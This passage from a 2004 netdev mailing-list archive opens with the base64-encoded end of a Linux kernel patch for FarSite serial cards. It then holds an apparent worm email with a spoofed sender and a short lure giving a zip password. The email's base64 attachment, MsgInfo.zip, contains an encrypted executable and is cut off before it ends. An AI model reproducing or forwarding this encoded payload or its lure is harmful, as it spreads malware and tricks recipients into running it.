ICAgICAgICAgMgorCisvKgorICogU3RydWN0dXJlCisgKi8KKyNkZWZpbmUgU1RSVUNUVVJFX1VO RlJBTUVEICAgMAorI2RlZmluZSBTVFJVQ1RVUkVfRTFfRE9VQkxFICAxCisjZGVmaW5lIFNUUlVD VFVSRV9FMV9DUkM0ICAgIDIKKyNkZWZpbmUgU1RSVUNUVVJFX0UxX0NSQzRNICAgMworI2RlZmlu ZSBTVFJVQ1RVUkVfVDFfNCAgICAgICA0CisjZGVmaW5lIFNUUlVDVFVSRV9UMV8xMiAgICAgIDUK KyNkZWZpbmUgU1RSVUNUVVJFX1QxXzI0ICAgICAgNgorI2RlZmluZSBTVFJVQ1RVUkVfVDFfNzIg ICAgICA3CisKKy8qCisgKiBJbnRlcmZhY2UKKyAqLworI2RlZmluZSBJTlRFUkZBQ0VfUko0OEMg ICAgICAwCisjZGVmaW5lIElOVEVSRkFDRV9CTkMgICAgICAgIDEKKworLyoKKyAqIENvZGluZwor ICovCisKKyNkZWZpbmUgQ09ESU5HX0hEQjMgICAgICAgICAgMAorI2RlZmluZSBDT0RJTkdfTlJa ICAgICAgICAgICAxCisjZGVmaW5lIENPRElOR19DTUkgICAgICAgICAgIDIKKyNkZWZpbmUgQ09E SU5HX0NNSV9IREIzICAgICAgMworI2RlZmluZSBDT0RJTkdfQ01JX0I4WlMgICAgICA0CisjZGVm aW5lIENPRElOR19BTUkgICAgICAgICAgIDUKKyNkZWZpbmUgQ09ESU5HX0FNSV9aQ1MgICAgICAg NgorI2RlZmluZSBDT0RJTkdfQjhaUyAgICAgICAgICA3CisKKy8qCisgKiBMaW5lIEJ1aWxkIE91 dAorICovCisjZGVmaW5lIExCT18wZEIgICAgICAgICAgICAgIDAKKyNkZWZpbmUgTEJPXzdkQjUg ICAgICAgICAgICAgMQorI2RlZmluZSBMQk9fMTVkQiAgICAgICAgICAgICAyCisjZGVmaW5lIExC T18yMmRCNSAgICAgICAgICAgIDMKKworLyoKKyAqIFJhbmdlIGZvciBsb25nIGhhdWwgdDEgPiA2 NTVmdAorICovCisjZGVmaW5lIFJBTkdFXzBfMTMzX0ZUICAgICAgIDAKKyNkZWZpbmUgUkFOR0Vf MF80MF9NICAgICAgICAgUkFOR0VfMF8xMzNfRlQKKyNkZWZpbmUgUkFOR0VfMTMzXzI2Nl9GVCAg ICAgMQorI2RlZmluZSBSQU5HRV80MF84MV9NICAgICAgICBSQU5HRV8xMzNfMjY2X0ZUCisjZGVm aW5lIFJBTkdFXzI2Nl8zOTlfRlQgICAgIDIKKyNkZWZpbmUgUkFOR0VfODFfMTIyX00gICAgICAg UkFOR0VfMjY2XzM5OV9GVAorI2RlZmluZSBSQU5HRV8zOTlfNTMzX0ZUICAgICAzCisjZGVmaW5l IFJBTkdFXzEyMl8xNjJfTSAgICAgICBSQU5HRV8zOTlfNTMzX0ZUCisjZGVmaW5lIFJBTkdFXzUz M182NTVfRlQgICAgIDQKKyNkZWZpbmUgUkFOR0VfMTYyXzIwMF9NICAgICAgUkFOR0VfNTMzXzY1 NV9GVAorLyoKKyAqIFJlY2VpdmUgRXF1YWxpc2VyCisgKi8KKyNkZWZpbmUgRVFVQUxJWkVSX1NI T1JUICAgICAgMAorI2RlZmluZSBFUVVBTElaRVJfTE9ORyAgICAgICAxCisKKy8qCisgKiBMb29w IG1vZGVzCisgKi8KKyNkZWZpbmUgTE9PUF9OT05FICAgICAgICAgICAgMAorI2RlZmluZSBMT09Q X0xPQ0FMICAgICAgICAgICAxCisjZGVmaW5lIExPT1BfUEFZTE9BRF9FWENfVFMwIDIKKyNkZWZp bmUgTE9PUF9QQVlMT0FEX0lOQ19UUzAgMworI2RlZmluZSBMT09QX1JFTU9URSAgICAgICAgICA0 CisKKy8qCisgKiBCdWZmZXIgbW9kZXMKKyAqLworI2RlZmluZSBCVUZGRVJfMl9GUkFNRSAgICAg ICAwCisjZGVmaW5lIEJVRkZFUl8xX0ZSQU1FICAgICAgIDEKKyNkZWZpbmUgQlVGRkVSXzk2X0JJ VCAgICAgICAgMgorI2RlZmluZSBCVUZGRVJfTk9ORSAgICAgICAgICAzCiAKIC8qICAgICAgRGVi dWcgc3VwcG9ydAogICoKZGlmZiAtdXJOIGxpbnV4LTIuNC4yNy1wcmUxL2luY2x1ZGUvbGludXgv aWYuaCBsaW51eC0yLjQuMjctcHJlMS1uZXcvaW5jbHVkZS9saW51eC9pZi5oCi0tLSBsaW51eC0y LjQuMjctcHJlMS9pbmNsdWRlL2xpbnV4L2lmLmgJMjAwMy0xMS0yOCAxODoyNjoyMS4wMDAwMDAw MDAgKzAwMDAKKysrIGxpbnV4LTIuNC4yNy1wcmUxLW5ldy9pbmNsdWRlL2xpbnV4L2lmLmgJMjAw NC0wNC0yNiAxNzowNToxMy4wMDAwMDAwMDAgKzAxMDAKQEAgLTYyLDYgKzYyLDcgQEAKICNkZWZp bmUgSUZfSUZBQ0VfVDEJMHgxMDAzCQkvKiBUMSB0ZWxjbyBzZXJpYWwgaW50ZXJmYWNlCSovCiAj ZGVmaW5lIElGX0lGQUNFX0UxCTB4MTAwNAkJLyogRTEgdGVsY28gc2VyaWFsIGludGVyZmFjZQkq LwogI2RlZmluZSBJRl9JRkFDRV9TWU5DX1NFUklBTCAweDEwMDUJLyogY2FuJ3QgYmUgc2V0IGJ5 IHNvZnR3YXJlCSovCisjZGVmaW5lIElGX0lGQUNFX1gyMUQgICAweDEwMDYgICAgICAgICAgLyog WC4yMSBEdWFsIENsb2NraW5nIChGYXJTaXRlKSAqLwogCiAvKiBGb3IgZGVmaW5pdGlvbnMgc2Vl IGhkbGMuaCAqLwogI2RlZmluZSBJRl9QUk9UT19IRExDCTB4MjAwMAkJLyogcmF3IEhETEMgcHJv dG9jb2wJCSovCkBAIC03Niw2ICs3Nyw3IEBACiAjZGVmaW5lIElGX1BST1RPX0ZSX0RFTF9FVEhf UFZDIDB4MjAwOQkvKiAgRGVsZXRlIEZSIEV0aGVybmV0LWJyaWRnZWQgUFZDICovCiAjZGVmaW5l IElGX1BST1RPX0ZSX1BWQwkweDIwMEEJCS8qIGZvciByZWFkaW5nIFBWQyBzdGF0dXMJKi8KICNk ZWZpbmUgSUZfUFJPVE9fRlJfRVRIX1BWQyAweDIwMEIKKyNkZWZpbmUgSUZfUFJPVE9fUkFXICAg IDB4MjAwQyAgICAgICAgICAvKiBSQVcgU29ja2V0ICAgICAgICAgICAgICAgICAgICovCiAKIAog LyoKZGlmZiAtdXJOIGxpbnV4LTIuNC4yNy1wcmUxL2luY2x1ZGUvbGludXgvcGNpX2lkcy5oIGxp bnV4LTIuNC4yNy1wcmUxLW5ldy9pbmNsdWRlL2xpbnV4L3BjaV9pZHMuaAotLS0gbGludXgtMi40 LjI3LXByZTEvaW5jbHVkZS9saW51eC9wY2lfaWRzLmgJMjAwNC0wNC0xNCAxNDowNTo0MC4wMDAw MDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yNy1wcmUxLW5ldy9pbmNsdWRlL2xpbnV4L3BjaV9p ZHMuaAkyMDA0LTA0LTI2IDE3OjAwOjQ4LjAwMDAwMDAwMCArMDEwMApAQCAtMTcxMSw2ICsxNzEx LDE1IEBACiAjZGVmaW5lIFBDSV9WRU5ET1JfSURfUERDCQkweDE1ZTkKICNkZWZpbmUgUENJX0RF VklDRV9JRF9QRENfQURNQTEwMAkweDE4NDEKIAorI2RlZmluZSBQQ0lfVkVORE9SX0lEX0ZBUlNJ VEUgICAgICAgICAgIDB4MTYxOQorI2RlZmluZSBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVDJQICAg ICAgIDB4MDQwMAorI2RlZmluZSBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVDRQICAgICAgIDB4MDQ0 MAorI2RlZmluZSBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVDFVICAgICAgIDB4MDYxMAorI2RlZmlu ZSBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVDJVICAgICAgIDB4MDYyMAorI2RlZmluZSBQQ0lfREVW SUNFX0lEX0ZBUlNJVEVfVDRVICAgICAgIDB4MDY0MAorI2RlZmluZSBQQ0lfREVWSUNFX0lEX0ZB UlNJVEVfVEUxICAgICAgIDB4MTYxMAorI2RlZmluZSBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVEUx QyAgICAgIDB4MTYxMgorCiAjZGVmaW5lIFBDSV9WRU5ET1JfSURfQUxUSU1BCQkweDE3M2IKICNk ZWZpbmUgUENJX0RFVklDRV9JRF9BTFRJTUFfQUMxMDAwCTB4MDNlOAogI2RlZmluZSBQQ0lfREVW SUNFX0lEX0FMVElNQV9BQzEwMDEJMHgwM2U5Cg== ------_=_NextPart_001_01C44337.F139A020-- From becker@scyld.com Wed May 26 09:49:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 09:49:21 -0700 (PDT) Received: from TienDat ([203.162.144.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QGlNgj002657 for ; Wed, 26 May 2004 09:47:25 -0700 Date: Wed, 26 May 2004 23:47:14 +0700 To: netdev@oss.sgi.com Subject: Hokki =) From: becker@scyld.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------lmeeecmoibaytheqgdag" X-archive-position: 5347 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev ----------lmeeecmoibaytheqgdag Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I don't bite, weah! password: 54756 ----------lmeeecmoibaytheqgdag Content-Type: application/octet-stream; name="MsgInfo.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="MsgInfo.zip" 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 